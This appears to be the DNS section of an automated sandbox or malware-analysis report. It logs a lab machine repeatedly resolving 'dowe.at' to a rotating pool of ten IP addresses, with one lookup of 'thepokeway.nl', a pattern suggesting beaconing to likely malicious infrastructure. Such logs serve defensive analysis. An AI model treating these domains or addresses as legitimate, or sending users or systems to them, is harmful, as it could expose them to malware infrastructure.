Nov 30, 2022 00:11:23.650019884 CET	192.168.2.6	8.8.8.8	0xec6c	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.679337978 CET	192.168.2.6	8.8.8.8	0xc21b	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.249752998 CET	192.168.2.6	8.8.8.8	0xe317	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.865735054 CET	192.168.2.6	8.8.8.8	0xf2fc	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.537358999 CET	192.168.2.6	8.8.8.8	0xbebb	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.817455053 CET	192.168.2.6	8.8.8.8	0xfe43	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.053144932 CET	192.168.2.6	8.8.8.8	0x1daf	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.141012907 CET	192.168.2.6	8.8.8.8	0x2ef3	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:39.139863968 CET	192.168.2.6	8.8.8.8	0x266e	Standard query (0)	thepokeway.nl	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.692821026 CET	192.168.2.6	8.8.8.8	0x46f	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.800481081 CET	192.168.2.6	8.8.8.8	0x8504	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.937369108 CET	192.168.2.6	8.8.8.8	0xb003	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.522392035 CET	192.168.2.6	8.8.8.8	0xa796	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.507319927 CET	192.168.2.6	8.8.8.8	0xbe7e	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.124767065 CET	192.168.2.6	8.8.8.8	0xb0e8	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.973812103 CET	192.168.2.6	8.8.8.8	0xacd6	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.177469969 CET	192.168.2.6	8.8.8.8	0xa191	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.373785019 CET	192.168.2.6	8.8.8.8	0x66cc	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.608006954 CET	192.168.2.6	8.8.8.8	0xacbd	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.755806923 CET	192.168.2.6	8.8.8.8	0x4a2b	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.344466925 CET	192.168.2.6	8.8.8.8	0x293b	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.383055925 CET	192.168.2.6	8.8.8.8	0x1e39	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:57.562014103 CET	192.168.2.6	8.8.8.8	0x9fa9	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.303905010 CET	192.168.2.6	8.8.8.8	0x8ad	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.410181999 CET	192.168.2.6	8.8.8.8	0xd88a	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.524296045 CET	192.168.2.6	8.8.8.8	0xcd8f	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.480338097 CET	192.168.2.6	8.8.8.8	0x37f4	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.245548010 CET	192.168.2.6	8.8.8.8	0xc889	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.934282064 CET	192.168.2.6	8.8.8.8	0x9ea3	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:58.022703886 CET	8.8.8.8	192.168.2.6	0x8dc7	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.585829020 CET	8.8.8.8	192.168.2.6	0x7cfc	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.562983036 CET	8.8.8.8	192.168.2.6	0xec19	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.619827986 CET	8.8.8.8	192.168.2.6	0x2110	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.729224920 CET	8.8.8.8	192.168.2.6	0x4552	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.978972912 CET	8.8.8.8	192.168.2.6	0xf6bf	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.578528881 CET	8.8.8.8	192.168.2.6	0x12a6	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:24.170435905 CET	8.8.8.8	192.168.2.6	0xec6c	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:25.698915958 CET	8.8.8.8	192.168.2.6	0xc21b	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:27.268702984 CET	8.8.8.8	192.168.2.6	0xe317	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:29.909164906 CET	8.8.8.8	192.168.2.6	0xf2fc	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:34.555744886 CET	8.8.8.8	192.168.2.6	0xbebb	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:35.837424994 CET	8.8.8.8	192.168.2.6	0xfe43	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:37.070822954 CET	8.8.8.8	192.168.2.6	0x1daf	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:38.159097910 CET	8.8.8.8	192.168.2.6	0x2ef3	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:39.178725958 CET	8.8.8.8	192.168.2.6	0x266e	No error (0)	thepokeway.nl	5.135.247.111	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
